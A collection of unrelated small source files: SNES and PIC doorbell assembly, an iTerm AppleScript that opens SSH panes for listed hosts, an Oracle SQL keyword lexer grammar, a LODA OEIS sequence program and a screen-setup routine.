REG_VMAIN ; Word VRAM access, increment by 1, no address remapping LDA VideoSet ; extract out the screen height bit (bit2 of VideoSet) BIT #$04.B ; 0 => 224, 1 => 239 BEQ _BoxLoop ; if 224, then no vertical offset correction required LDA #$20.B ; otherwise CLC ; clear carry ADC CurrLineL ; add a line of tiles for offset correction STA CurrLineL ; store it LDA CurrLineH ; also ADC #$00.B ; add any carry to the high byte STA CurrLineH ; and store that too _BoxLoop: LDX CurrLineL ; get current line STX REG_VMADDL ; $2116: Word address for accessing VRAM. LDA MapBank ; Bank of box tilemap LDX MapAdr ; Offset address of box tilemap LDY #16.W ; Width of flashing box in terms of bytes (bytes = 2*tiles) JSR LoadVRAM ; Perform DMA for one line LDA CurrLineL ; get current line number CLC ; clear carry before adding ADC #$20.B ; move address to start of next line STA CurrLineL ; store new address LDA CurrLineH ADC #$00.B ; add any carry to the high byte STA CurrLineH ; and store it CMP #$22.B ; check if all 8 box lines have been loaded (high-byte) BNE _BoxLoop ; repeat if there are more box lines to do LDA VideoSet ; otherwise, extract out the screen height bit (bit2 of VideoSet) BIT #$04.B ; 0 => 224, 1 => 239 BEQ + ; if 224, then no vertical offset correction required LDA CurrLineL ; otherwise CMP #$6C.B ; check if all 8 box lines have been loaded (low-byte) using offset correction BEQ ++ ; and end the routine if it is JMP _BoxLoop ; or repeat if there are more box lines to do +: LDA CurrLineL CMP #$4C.B ; check if all 8 box lines have been loaded (low-byte) BNE _BoxLoop ; repeat if there are more box lines to do ++: RTS ; return if all 8 box lines are done ;============================================================================ ;============================================================================ ; DrawLines -- Uses a four row tilemap to fill the entire screen ;---------------------------------------------------------------------------- ; In: None ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Notes: 32 lines of 32 tiles for a full screen (32x32 tiles & 8x8 pixels ==> 256x256) ;---------------------------------------------------------------------------- DrawLines: LDX #TILEMAP_TOP.W ; start of the line STX CurrLineL ; set it to current line LDA #$80.B STA REG_VMAIN ; Word VRAM access, increment by 1, no address remapping _LineLoop: LDX CurrLineL ; get current line STX REG_VMADDL ; $2116: Word address for accessing VRAM. LDA MapBank ; Bank of test pattern map LDX MapAdr ; Offset address of test pattern map LDY #256.W ; Size of four lines in terms of bytes (bytes = 2*tiles) JSR LoadVRAM ; Perform DMA for four lines LDA CurrLineL ; get current line number CLC ; clear carry before adding ADC #$80.B ; move address to start of the next four lines STA CurrLineL ; store new address LDA CurrLineH ADC #$00.B ; add any carry to the high byte STA CurrLineH ; and store it CMP #$24.B ; check if all 32 lines have been loaded BNE _LineLoop ; repeat if there are more lines to do RTS ; or return if all 32 lines are done ;============================================================================ ;============================================================================ ; SetupVideo -- Sets up the video mode and tile-related registers ;---------------------------------------------------------------------------- ; In: None ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- SetupVideo: LDA #BGMODE_1.B STA REG_BGMODE ; Set Video BG Mode to 1, 8x8 tiles, BG1/BG2 = 16 colors, BG3 = 4 colors, BG4 = N/A LDA #$20.B ; Set BG1's Tile Map offset to $2000 (Word address) in order to fit our tile data before that STA REG_BG1SC ; and also sets the Tile Map size to 32x32 STZ REG_BG12NBA ; Set BG1's Character VRAM offset to $0000 (word address) LDA #TM_BG1.B STA REG_TM ; Enable BG1, leave all others disabled LDA #$0F.B STA REG_INIDISP ; Turn on screen, full Brightness, forced blanking is OFF RTS ;============================================================================ ;============================================================================ ; VBlank -- Vertical Blanking Interrupt Routine ;---------------------------------------------------------------------------- VBlank: PHA PHX PHY PHP ; Save register states LDA REG_RDNMI ; Clear NMI flag PLP PLY PLX PLA ; Restore register states RTI ; Return from interrupt ;============================================================================ .ENDS ;============================================================================ ; Character Data (palettes, tiles, tilemaps) ;============================================================================ .BANK 1 SLOT 0 .ORG 0 .SECTION "CharacterData" .INCLUDE "graphics.inc" .ENDS
Receiver/Code/Doorbell.X/doorbell_main.asm
joshtyler/PIC-Doorbell
1
176338
; File doorbell_main.asm ; CODE FOR DOORBELL RECEIVER ; LDPS III Lab Project: <NAME>, <NAME>, <NAME> and <NAME> ; Purpose: ; Plays 4 different melodies when 4 different buttons are pressed ; Receives and decodes an IR signal from the remote and plays the appropriate tune ; Allows a custom tune to be programmed into EEPROM memory ; PIC used: Microchip PIC16F84A ; Datasheet available: http://ww1.microchip.com/downloads/en/DeviceDoc/35007C.pdf ; Configure environment for pic LIST p=16F84A include "p16f84a.inc" ; Remove the annoying "Register in operand not in bank 0..." warnings. errorlevel -302 ; Set up constants ; These are the constants used for notes in the tune tables. ; The less significant nibble is an encoded number representing the note. ; e.g. H'X0' is a C, H'X1' is a C#, H'X2' is a D etc. ; The more significant nibble is the TMR0 scaler (see datasheet). This sets the ocatve. ; This system works because the frequency of a note doubles in successive octaves ; Scaler value = 2; tmr0 scaling ratio = 1:8; this corresponds to the octave starting on C4 (middle C) ; Scaler value = 3; tmr0 scaling ratio = 1:16; this corresponds to the octave starting on C3 ; etc. C1 equ H'50' C#1 equ H'51' D1 equ H'52' D#1 equ H'53' E1 equ H'54' F1 equ H'55' F#1 equ H'56' G1 equ H'57' G#1 equ H'58' A1 equ H'59' A#1 equ H'5A' B1 equ H'5B' C2 equ H'40' C#2 equ H'41' D2 equ H'42' D#2 equ H'43' E2 equ H'44' F2 equ H'45' F#2 equ H'46' G2 equ H'47' G#2 equ H'48' A2 equ H'49' A#2 equ H'4A' B2 equ H'4B' C3 equ H'30' C#3 equ H'31' D3 equ H'32' D#3 equ H'33' E3 equ H'34' F3 equ H'35' F#3 equ H'36' G3 equ H'37' G#3 equ H'38' A3 equ H'39' A#3 equ H'3A' B3 equ H'3B' C4 equ H'20' ; Middle C C#4 equ H'21' D4 equ H'22' D#4 equ H'23' E4 equ H'24' F4 equ H'25' F#4 equ H'26' G4 equ H'27' G#4 equ H'28' A4 equ H'29' A#4 equ H'2A' B4 equ H'2B' C5 equ H'10' C#5 equ H'11' D5 equ H'12' D#5 equ H'13' E5 equ H'14' F5 equ H'15' F#5 equ H'16' G5 equ H'17' G#5 equ H'18' A5 equ H'19' A#5 equ H'1A' B5 equ H'1B' C6 equ H'00' C#6 equ H'01' D6 equ H'02' D#6 equ H'03' E6 equ H'04' F6 equ H'05' F#6 equ H'06' G6 equ H'07' G#6 equ H'08' A6 equ H'09' A#6 equ H'0A' B6 equ H'0B' rest equ H'2C' ; Rest nominally has the scaler of 2, in reality this value doesn't matter. ; These are the note durations, they are used in a counter in the inturrupt loop. ; They are set to be equal to a whole note (semibreve) at 120BPM C_dur equ D'131' C#_dur equ D'139' D_dur equ D'147' D#_dur equ D'156' E_dur equ D'165' F_dur equ D'175' F#_dur equ D'185' G_dur equ D'196' G#_dur equ D'208' A_dur equ D'220' A#_dur equ D'233' B_dur equ D'247' rest_dur equ D'110' ; The rest duration is the same as an 'A'. This is explained in the interrupt loop. finish_pit equ H'2C' ; finish "pitch". This doesn't matter (so long as it works in the look-up tables). finish_dur equ H'00' ; finish "duration". playatune interprets a duration of zero as the end of the tune. ; Assign variables in RAM, H'0C' is the first General purpose SRAM register CBLOCK H'0C' intTemp ; INTerrupt TEMPorary storage (used to preserve W when the interrupt is called) duration ; Holds the duration of each note (see interrupt for details of how this works) durMult ; DURation MULTiplier (see interrupt for details of how this works) pitch ; Holds the initial TMR0 value for each note. tneLkpOfst ; TuNE LooKuP OFfSeT (The lookup offset for the tune tables) tuneSelect ; Holds the tune currently being played, see mainloop for details of the format tmr0Scaler ; Holds the TMR0 scaler, to set the octave. See setpitch for details setPitchTemp ; Temporary storage for the setpitch subroutine (used to preserve W) setDurMultTmp ; setdurmult TeMPorary storage (used to preserve W when setdurmult is called) outerLpCntr ; These are loop counters used by delay6ms and delay3ms innerLpCntr delay3msTmp ; This is used to preserve W when delay6ms and delay 3ms are called ENDC ; Setup configuration values for the microcontroller ; Watchdog timer -> off (stops device rebooting itself) ; Powerup timer -> on (impose small delay on startup to allow voltage rail to stabilise) __config _XT_OSC & _WDT_OFF & _PWRTE_ON ; Set up where instructions are stored org H'0000' ; address 0: this is where the reset vector goes to. goto setup org H'0004' ; address 4: this is where the interrupt vector goes to. ; Interrupt Routine movwf intTemp ; Preserve contents of working register movf pitch,W ; reset tmr0 initial count btfsc STATUS,Z ; Consider special case of a rest (i.e. 'pitch' = 0) movlw D'114' ; If 'pitch' is zero, put D'114' (the pitch of an A) into TMR0, gives a rest the same duration as other notes movwf TMR0 ; toggle output movf pitch,W btfsc STATUS,Z ; If pitch is zero the note is a rest, so don't toggle the output goto skipToggle movlw B'00000001' ; Toggle output (PORTA, Pin 0) by XORing this with PORTA xorwf PORTA,F ; Note length handler, this makes the note last [durMult] * [duration] half cycles of the note. skipToggle decfsz durMult,F ; decrement durMult (DURation MULTiplier) goto retFrmInt ; RETurn From Interrupt call setDurMult ; if durmult is zero then reset durMult and decrement duration decfsz duration,F ; if duration is zero, the note is finished, so clear the interrupt flag. goto retFrmInt bcf INTCON, T0IE ; disable TMR0 interrupt enable, this stops the interrupt from being called retFrmInt movf intTemp,W ; return previous contents of working register bcf INTCON,T0IF ; clear tmr0 overflow flag, this allows the interrupt to be called again (when TMR0 interrupt enable is 1) retfie ; Lookup Table Functions ; The lookup table functions are placed here (near the beginning) to ensure that they do not cross a page boundry ; This function returns the initial TMR0 value for each note lookupPitch addwf PCL,F ; Skip [W] instructions retlw D'17' ; C retlw D'31' ; C# retlw D'43' ; D retlw D'55' ; D# retlw D'66' ; E retlw D'77' ; F retlw D'87' ; F# retlw D'97' ; G retlw D'106' ; G# retlw D'114' ; A retlw D'122' ; A# retlw D'129' ; B retlw D'0' ; Rest ; This function decodes the binary word recieved by IR and converts it to a value used by mainLoop irDecodeLkp addwf PCL,F ; Skip [W] instructions retlw B'00000001' ; Tune 1 retlw B'00000010' ; Tune 2 retlw B'00000100' ; Tune 3 retlw B'00001000' ; Tune 4 ; This function sets the multiplier for the duration. ; This is necessary because the duration is calculated by counting the number of times the interrupt is called. ; The same note in sequential octaves will have twice the frequency, so will call the interrupt twice as many times. ; This is why the sequential return values are double eachother ; The value used as a lookup offset is the tmr0Scaler ; This is 5 for the lowest ocave, 4 for the second to lowest etc. setDurMult movwf setDurMultTmp ; Preserve W rlf tmr0Scaler,W addwf PCL,F ; Skip 2*[tmr0Scaler] instructions movlw D'32' goto RetSDurMult ; RETurn from Setting DURMULT movlw D'16' goto RetSDurMult movlw D'8' goto RetSDurMult movlw D'4' goto RetSDurMult movlw D'2' goto RetSDurMult movlw D'1' RetSDurMult movwf durMult ; Store the lookedup value in durMult movf setDurMultTmp,W ; Restore previous value of W return ; Tune tables ; These return encoded note values and durations. ; The durations can be made smaller by dividing the duration a sensible constant. ; To end a tune, you must return finish_pit as the final pitch and finish_dur as the final duration ; Happy Birthday to you tune1 addwf PCL,F retlw C4 retlw C_dur /8 ; Quaver retlw C4 retlw C_dur /8 retlw D4 retlw D_dur /4 ; Crotchet retlw C4 retlw C_dur /4 retlw F4 retlw F_dur /4 retlw E4 retlw E_dur /2 retlw C4 retlw C_dur /8 retlw C4 retlw C_dur /8 retlw D4 retlw D_dur /4 retlw C4 retlw C_dur /4 retlw G4 retlw G_dur /4 retlw F4 retlw F_dur /2 ; Minim retlw C4 retlw C_dur /8 retlw C4 retlw C_dur /8 retlw C5 retlw C_dur /4 retlw A4 retlw A_dur /4 retlw F4 retlw F_dur /4 retlw E4 retlw E_dur /4 retlw D4 retlw D_dur /4 retlw A#4 retlw A#_dur /8 retlw A#4 retlw A#_dur /8 retlw A4 retlw A_dur /4 retlw F4 retlw F_dur /4 retlw G4 retlw G_dur /4 retlw F4 retlw F_dur /2 retlw finish_pit retlw finish_dur ; end of tune ; Imperial march tune2 addwf PCL,F retlw G3 retlw G_dur /4 retlw G3 retlw G_dur /4 retlw G3 retlw G_dur /4 retlw D#3 retlw D#_dur /8 retlw A#3 retlw A#_dur /8 retlw G3 retlw G_dur /4 retlw D#3 retlw D#_dur /8 retlw A#3 retlw A#_dur /8 retlw G3 retlw G_dur /4 retlw rest retlw rest_dur /4 retlw D4 retlw D_dur /4 retlw D4 retlw D_dur /4 retlw D4 retlw D_dur /4 retlw D#4 retlw D#_dur /8 retlw A#3 retlw A#_dur /8 retlw F#3 retlw F#_dur /4 retlw D#3 retlw D#_dur /8 retlw A#3 retlw A#_dur /8 retlw G3 retlw G_dur /4 retlw finish_pit retlw finish_dur ; end of tune ; The entire range of notes tune3 addwf PCL,F retlw C1 retlw C_dur /10 retlw D1 retlw D_dur /10 retlw E1 retlw E_dur /10 retlw F1 retlw F_dur /10 retlw G1 retlw G_dur /10 retlw A1 retlw A_dur /10 retlw B1 retlw B_dur /10 retlw C2 retlw C_dur /10 retlw D2 retlw D_dur /10 retlw E2 retlw E_dur /10 retlw F2 retlw F_dur /10 retlw G2 retlw G_dur /10 retlw A2 retlw A_dur /10 retlw B2 retlw B_dur /10 retlw C3 retlw C_dur /10 retlw D3 retlw D_dur /10 retlw E3 retlw E_dur /10 retlw F3 retlw F_dur /10 retlw G3 retlw G_dur /10 retlw A3 retlw A_dur /10 retlw B3 retlw B_dur /10 retlw C4 retlw C_dur /10 retlw D4 retlw D_dur /10 retlw E4 retlw E_dur /10 retlw F4 retlw F_dur /10 retlw G4 retlw G_dur /10 retlw A4 retlw A_dur /10 retlw B4 retlw B_dur /10 retlw C5 retlw C_dur /10 retlw D5 retlw D_dur /10 retlw E5 retlw E_dur /10 retlw F5 retlw F_dur /10 retlw G5 retlw G_dur /10 retlw A5 retlw A_dur /10 retlw B5 retlw B_dur /10 retlw C6 retlw C_dur /10 retlw D6 retlw D_dur /10 retlw E6 retlw E_dur /10 retlw F6 retlw F_dur /10 retlw G6 retlw G_dur /10 retlw A6 retlw A_dur /10 retlw B6 retlw B_dur /10 retlw finish_pit retlw finish_dur ; end of tune ; This is the tune the user has programmed into EEPROM memory tune4 call eeRead ; Read the pitch or duration from EEPROM memory return ; Setup setup clrf PORTA ; Initialise ports clrf PORTB bsf STATUS,RP0 ; select bank 1 ; Setup ports movlw B'11111111' ; B'-------1' IR input ; B'1111111-' Tune programming buttons movwf TRISB movlw B'11111110' ; B'-------0' Speaker output ; B'---1111-' Play tune buttons ; B'111-----' Unimplemented movwf TRISA ; Set up TMR0 ; set up option register movlw B'10000010' ;'1-------' Disable port B pull up resistors ;'--0-----' Increment TMR0 on internal clock ;'----0---' Assign prescaler to TMR0 not watchdog timer ;'-----010' Set prescaler at a ratio of 1:8 (This is arbitary and will be set for the octave of the note) ;'-0-0----' Irrelevant options movwf OPTION_REG ; Set up interrupt configuration register movlw B'10000000' ;'1-------' Global interrupt enable ON ;'--0-----' TMR0 Overflow interrupt enable OFF (We will turn this on when we want it) ;'-----0--' TMR0 Flag bit OFF (The interupt will not trigger if this is initially ON) ;'-0-00-00' Turn OFF all other (unused) interrupts and flag bits movwf INTCON ; Set up EEPROM clrf EECON1 ; Clear all flags and read/write enable bits bcf STATUS,RP0 ; Return to bank 0 clrf EEADR ; Reset Read/write address to 0 clrf EEDATA ; Initialise various registers used inside the program clrf tneLkpOfst ; This initialises the lookup table offset, used in all the tunetables ; Start of the main program ; Loops waiting for a button press, or an IR signal mainLoop clrf EEADR ; Clear the EEADR register in case we need to program or read ; Look for a programming button press movf PORTB,W andlw B'11111110' ; Mask off IR LED input btfss STATUS,Z call progTune ; If any of the programming buttons were pressed, call progtune clrw ; Look for an IR signal btfss PORTB,0 call processIr ; If an IR signal is being recieved, process it. ; Look for a tune button press btfsc PORTA,1 movlw B'00000010' ;Set a status bit high if a tune button is presses - the order is chosen the order of the switches in the box!! btfsc PORTA,2 movlw B'00000100' btfsc PORTA,3 movlw B'00000001' btfsc PORTA,4 movlw B'00001000' andlw B'11111111' ; if w is zero, loop btfsc STATUS,Z goto mainLoop movwf tuneSelect ; If switch is pressed, store which one was pressed in tuneSelect call playATune goto mainLoop ; Process IR signal ; For a valid signal, leave with W in the same status bit format as expected by mainloop ; For an invalid signal, leave with W clear ; Note the recieved signal with be the inverse of the transmitted signal ; Therefore the expected word recieved is: 0, NOT(Data1), NOT(Data2), 1, 1 ; See remote_main.asm for exact details of the data word processIr clrw call delay3ms ; Delay 3ms to get to the middle of the first pulse btfsc PORTB,0 ; Ensure the recieved start bit is a 0 goto irFailure call delay6ms ; Wait for next bit btfss PORTB,0 ; If the line is low, set Data1 to 1 iorlw B'00000001' call delay6ms btfss PORTB,0 ; If the line is low, set Data2 to 1 iorlw B'00000010' call delay6ms btfss PORTB,0 ; Ensure the two stop bits are 1 goto irFailure call delay6ms btfss PORTB,0 goto irFailure call irDecodeLkp ; Decode W to the word expected by mainLoop return irFailure clrw ; If there was a problem with the word, clear W and exit return ; Delay 6ms and delay 3ms ; Each instruction takes 4 clock cycles = 1us ; The inner loop takes 5 cycles (assuming it doesn't skip) = 5us ; Therefore 200 iterations takes 1ms ; The outer loop allows the inner loop to run 3 or 6 times ; This takes 3 or 6ms delay6ms movwf delay3msTmp ; Preserve W movlw D'6' movwf outerLpCntr goto delayLoop delay3ms movwf delay3msTmp ; Preserve W movlw D'3' movwf outerLpCntr delayLoop movlw D'200' movwf innerLpCntr innerLoop nop decfsz innerLpCntr,F goto innerLoop outerLoop decfsz outerLpCntr,F goto delayLoop movf delay3msTmp,W ; Restore W return ; This subroutine reads the user input from the programming keys and saves it as a custom tune in EEPROM progTune btfss PORTB,1 ; test if button 1 is pressed, if so program in a C, if not check the next button goto prog2 movlw C4 ; C4 in pitch movwf pitch movlw C_dur /4 ;Crotchet in duration movwf duration call progEe ; Save to EEPROM and play note once goto progSkp ; All the other buttons must be unpressed so skip to the end prog2 btfss PORTB,2 ; Repeat for remaining buttons goto prog3 movlw D4 ; D4 in pitch movwf pitch movlw D_dur /4 ;Crotchet in duration movwf duration call progEe goto progSkp prog3 btfss PORTB,3 goto prog4 movlw E4 ; E4 in pitch movwf pitch movlw E_dur /4 ;Crotchet in duration movwf duration call progEe goto progSkp prog4 btfss PORTB,4 goto prog5 movlw F4 ; F4 in pitch movwf pitch movlw F_dur /4 ;Crotchet in duration movwf duration call progEe goto progSkp prog5 btfss PORTB,5 goto prog6 movlw G4 ; G4 in pitch movwf pitch movlw G_dur /4 ;Crotchet in duration movwf duration call progEe goto progSkp prog6 btfss PORTB,6 goto prog7 movlw A4 ; A4 in pitch movwf pitch movlw A_dur /4 ;Crotchet in duration movwf duration call progEe goto progSkp prog7 btfss PORTB,7 goto progSkp movlw B4 ; C4 in pitch movwf pitch movlw B_dur /4 ;Crotchet in duration movwf duration call progEe progSkp movlw H'3D' ; Make sure next address is still at least two bytes before the end of the EEPROM memory subwf EEADR,W btfsc STATUS,C ; If the C flag is high, the result was negative. so we're still in the acceptable range goto retProgTune ; (RETurn from ProgTune) If we are at the end of the memory, exit. movf PORTA,W ; Test if any tune buttons are being pressed, if so we're done programming andlw B'00011110' ; Mask off all pins that aren't the buttons btfsc STATUS,Z goto progTune ; if a button wasn't pressed loop for the next note retProgTune movlw finish_pit ; Write the finish pitch and duration movwf pitch movlw finish_dur movwf duration call progEe ; Save to EEPROM clrf EEADR ; clear EEADR for next read or write return ; These functions programs the note in pitch and duration to EEPROM memory. ; It also plays the note to give the user feedback. progEe movf pitch,W ; Write the pitch call eeWrite incf EEADR,F ; Increment the EEPROM address movf duration,W ; Write the duration call eeWrite incf EEADR,F ; Increment the EEPROM address movf duration,F ; If duration = 0, we're programming the finish command so skip playAnote btfss STATUS,Z call playANote ; Play the note clrw return ; This function plays a single note from a coded pitch value in pitch and a duration value in duration playANote movf pitch,W call setPitch ; Decode pitch bsf INTCON, T0IE ; set the TMR0 Interrupt Enable bit, this will allow the interrupt to play the note noteLoop btfsc INTCON, T0IE ; Wait for note to finish, then return goto noteLoop return ; This subroutine is responsible for playing a tune ; It loops until the tune is over playATune movf tneLkpOfst,W call getTuneData ; Look up the next pitch in the tune movwf pitch call getTuneData ; Lookup next duration movwf duration movf duration,F ; test if duration is zero btfss STATUS,Z ; if zero, the tune is over goto skpPATRet ; Therefore if not zero, skip this next section (skppatret = SKiP PlayATune RETurn) clrf tneLkpOfst ; Clear the lookup offset and return return skpPATRet call playANote ; Play the note movlw rest ; Play a short rest to make the tune sound more natural movwf pitch movlw rest_dur /20 movwf duration call playANote goto playATune ; If the note is over, go back to the start of the subroutine to play the next note ; This subroutine directs the program to the relevant tune table. ; See 'mainloop' for details of the value in tuneSelect ; NOTE: It is important that this function does NOT change the W register. ; This is because W contains either the lookup offset (on call) or the table return value (on return). getTuneData movf tneLkpOfst,W btfsc tuneSelect,0 ; If the LSB is set we want tune1 call tune1 btfsc tuneSelect,1 ; If the bit 1 is set we want tune2 call tune2 btfsc tuneSelect,2 ; If the bit 2 is set we want tune3 call tune3 btfsc tuneSelect,3 ; If the bit 3 is set we want tune4 call tune4 incf tneLkpOfst,F return ; This subroutine: ; decodes the pitch value returned by the tune tables into the start value of the TMR0 register ; sets the TMR0 scaler ; sets the duration multiplier ; The value returned by the tune table is passed to setPitch in W. ; The upper nibble contains the TMR0 scaler (see datasheet) ; The lower nibble contains a lookup offset for the TMR0 start value (lookupPitch function for more details) setPitch movwf setPitchTemp ; store intact working register to preserve lookup offset andlw B'01110000' ; mask off the TMR0 scaler bits movwf tmr0Scaler rrf tmr0Scaler,F ; Shift the scaler bits to the same place as they are in in OPTION_REG (The least significant three bits) rrf tmr0Scaler,F rrf tmr0Scaler,F rrf tmr0Scaler,F bsf STATUS,RP0 ; select bank 1 to access OPTION_REG movf OPTION_REG,W andlw B'11111000' ; Mask off unrelated bits to presrve them iorwf tmr0Scaler,W ; Copy scaler bits to W movwf OPTION_REG ; Save back to OPTION_REG bcf STATUS,RP0 ; Return to bank 0 movlw B'00001111' ; Mask off the part the TMR0 start value lookup offset andwf setPitchTemp,W call lookupPitch ; Lookup the TMR0 start value for that note movwf pitch ; Put this in "pitch" call setDurMult ; Setup the duraion multiplier so that the interrupt timing is correct return ; This subroutine writes the data in W to the address in EEADR eeWrite movwf EEDATA ; Move W to EEDATA bsf STATUS,RP0 ; Select Bank 1 bcf INTCON,GIE ; Disable interrupts bsf EECON1,WREN ; Enable EEPROM write ; Perform prescribed write sequence (see datasheet) movlw H'55' movwf EECON2 movlw H'AA' movwf EECON2 bsf EECON1, WR ; Begin Write ; End prescribed write sequence bsf INTCON, GIE ; re-enable interrupts ; Wait for bit to be written eeWriteLoop btfss EECON1,EEIF ; Test write operation interrupt flag goto eeWriteLoop ; Loop until write completes bcf EECON1,EEIF ; Clear interrupt flag bcf STATUS,RP0 ; Select Bank 0 return ; This subroutine reads the value of the data in the EEPROM address corresponding to the value of W, and returns this value in W eeRead movwf EEADR ; Move address to EEADR bsf STATUS,RP0 ; Bank 1 bsf EECON1,RD ; Read Value to EEDATA bcf STATUS,RP0 ; Bank 0 movf EEDATA,W return end
itermsshhosts.scpt
c9pr3/iterm2sshhosts
0
1021
<reponame>c9pr3/iterm2sshhosts<filename>itermsshhosts.scpt<gh_stars>0 #!/usr/bin/osascript on run (arguments) try set configFile to POSIX file (first item of arguments) on error error "Need configFile as first argument" end try tell application "iTerm" try set listOfHosts to {} set hostLines to paragraphs of (read file configFile) repeat with nextLine in hostLines if length of nextLine is greater than 0 then copy nextLine to the end of listOfHosts end if end repeat on error error (first item of arguments) & " konnte nicht geöffnet werden oder ist leer" end try set newWindow to (create window with default profile) set session1 to current session of newWindow -- split needed if ((count of listOfHosts) is greater than 1) then -- first split vertically set session2 to (split vertically with default profile session1) set i to 1 -- split for n hosts repeat with hostName in listOfHosts -- split session1 and session2 set newSession to session1 if (i is 2) then set newSession to session2 else if (i is greater than 2) then -- begin with 3rd host if (i mod 2 is 1) then set newSession to (split horizontally with default profile session1) else set newSession to (split horizontally with default profile session2) end if end if tell newSession write text "ssh " & hostName end tell set i to i + 1 end repeat else -- only one host, no split needed repeat with hostName in listOfHosts tell session1 write text "ssh " & hostName end tell end repeat end if end tell end run
shardingsphere-sql-parser/shardingsphere-sql-parser-dialect/shardingsphere-sql-parser-oracle/src/main/antlr4/imports/oracle/Keyword.g4
cilfm/shardingsphere
0
4966
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ lexer grammar Keyword; import Alphabet; WS : [ \t\r\n] + ->skip ; SELECT : S E L E C T ; INSERT : I N S E R T ; UPDATE : U P D A T E ; DELETE : D E L E T E ; CREATE : C R E A T E ; ALTER : A L T E R ; DROP : D R O P ; TRUNCATE : T R U N C A T E ; SCHEMA : S C H E M A ; GRANT : G R A N T ; REVOKE : R E V O K E ; ADD : A D D ; SET : S E T ; TABLE : T A B L E ; COLUMN : C O L U M N ; INDEX : I N D E X ; CONSTRAINT : C O N S T R A I N T ; PRIMARY : P R I M A R Y ; UNIQUE : U N I Q U E ; FOREIGN : F O R E I G N ; KEY : K E Y ; POSITION : P O S I T I O N ; PRECISION : P R E C I S I O N ; FUNCTION : F U N C T I O N ; TRIGGER : T R I G G E R ; PROCEDURE : P R O C E D U R E ; VIEW : V I E W ; INTO : I N T O ; VALUES : V A L U E S ; WITH : W I T H ; UNION : U N I O N ; DISTINCT : D I S T I N C T ; CASE : C A S E ; WHEN : W H E N ; CAST : C A S T ; TRIM : T R I M ; SUBSTRING : S U B S T R I N G ; FROM : F R O M ; NATURAL : N A T U R A L ; JOIN : J O I N ; FULL : F U L L ; INNER : I N N E R ; OUTER : O U T E R ; LEFT : L E F T ; RIGHT : R I G H T ; CROSS : C R O S S ; USING : U S I N G ; WHERE : W H E R E ; AS : A S ; ON : O N ; IF : I F ; ELSE : E L S E ; THEN : T H E N ; FOR : F O R ; TO : T O ; AND : A N D ; OR : O R ; IS : I S ; NOT : N O T ; NULL : N U L L ; TRUE : T R U E ; FALSE : F A L S E ; EXISTS : E X I S T S ; BETWEEN : B E T W E E N ; IN : I N ; ALL : A L L ; ANY : A N Y ; LIKE : L I K E ; ORDER : O R D E R ; GROUP : G R O U P ; BY : B Y ; ASC : A S C ; DESC : D E S C ; HAVING : H A V I N G ; LIMIT : L I M I T ; OFFSET : O F F S E T ; BEGIN : B E G I N ; COMMIT : C O M M I T ; ROLLBACK : R O L L B A C K ; SAVEPOINT : S A V E P O I N T ; BOOLEAN : B O O L E A N ; DOUBLE : D O U B L E ; CHAR : C H A R ; CHARACTER : C H A R A C T E R ; ARRAY : A R R A Y ; INTERVAL : I N T E R V A L ; DATE : D A T E ; TIME : T I M E ; TIMEOUT : T I M E O U T ; TIMESTAMP : T I M E S T A M P ; LOCALTIME : L O C A L T I M E ; LOCALTIMESTAMP : L O C A L T I M E S T A M P ; YEAR : Y E A R ; QUARTER : Q U A R T E R ; MONTH : M O N T H ; WEEK : W E E K ; DAY : D A Y ; HOUR : H O U R ; MINUTE : M I N U T E ; SECOND : S E C O N D ; MICROSECOND : M I C R O S E C O N D ; MAX : M A X ; MIN : M I N ; SUM : S U M ; COUNT : C O U N T ; AVG : A V G ; DEFAULT : D E F A U L T ; CURRENT : C U R R E N T ; ENABLE : E N A B L E ; DISABLE : D I S A B L E ; CALL : C A L L ; INSTANCE : I N S T A N C E ; PRESERVE : P R E S E R V E ; DO : D O ; DEFINER : D E F I N E R ; CURRENT_USER : C U R R E N T UL_ U S E R ; SQL : S Q L ; CASCADED : C A S C A D E D ; LOCAL : L O C A L ; CLOSE : C L O S E ; OPEN : O P E N ; NEXT : N E X T ; NAME : N A M E ; COLLATION : C O L L A T I O N ; NAMES : N A M E S ; INTEGER : I N T E G E R ; REAL : R E A L ; DECIMAL : D E C I M A L ; TYPE : T Y P E ; INT : I N T ; SMALLINT : S M A L L I N T ; NUMERIC : N U M E R I C ; FLOAT : F L O A T ; TRIGGERS : T R I G G E R S ;
oeis/274/A274384.asm
neoneye/loda-programs
11
240454
<gh_stars>10-100 ; A274384: Numbers n such that 2^n is not the average of three positive cubes. ; Submitted by <NAME>(w1) ; 1,2,4,5,7,8,10,11,13,14,16,17,19,20,22,23,25,26,28,29,31,32,34,37,40,43,46 mov $3,$0 mul $3,3 lpb $3 add $2,1 add $4,$2 add $1,$4 div $1,51884 add $1,$2 mov $2,$1 sub $3,1 add $5,$1 add $4,$5 lpe div $2,2 add $2,1 mov $0,$2
stuff/R316/old/lib/gfx/screen.asm
Daswf852/Stuff
0
3079
<filename>stuff/R316/old/lib/gfx/screen.asm %ifndef __SCREEN_ASM %define __SCREEN_ASM %include "../common.asm" screen: .init: dpush 0x7 dpush 0x0 call .setColor dpush 0 dpush TRUE call .setMode ret .setFGColor: ;( IRGB -- ) push r0 push r1 mov r1, _terminalConfigColor dpop r0 shl r0, 8 and [r1], 0xF0FF or [r1], r0 pop r1 pop r0 ret .setBGColor: ;( IRGB -- ) push r0 push r1 mov r1, _terminalConfigColor dpop r0 shl r0, 12 and [r1], 0x0FFF or [r1], r0 pop r1 pop r0 ret .setColor: ;( IRGB_FG IRGB_BG -- ) call .setBGColor call .setFGColor ret .setColorPair: ;( IRGB_FG+IRGB_BG -- ) ret .setMode: ; ( 0|1|2 clear -- ) push r0 push r1 push r2 dpop r0 ;clear dpop r1 ;mode mov r2, 0 and r1, 3 cmp r1, 3 jnz ..correctMode mov r1, 0 ..correctMode: and r0, 1 shl r0, 15 or r2, r0, r1 mov r0, _terminalConfigMode mov [r0], r2 pop r2 pop r1 pop r0 ret %endif
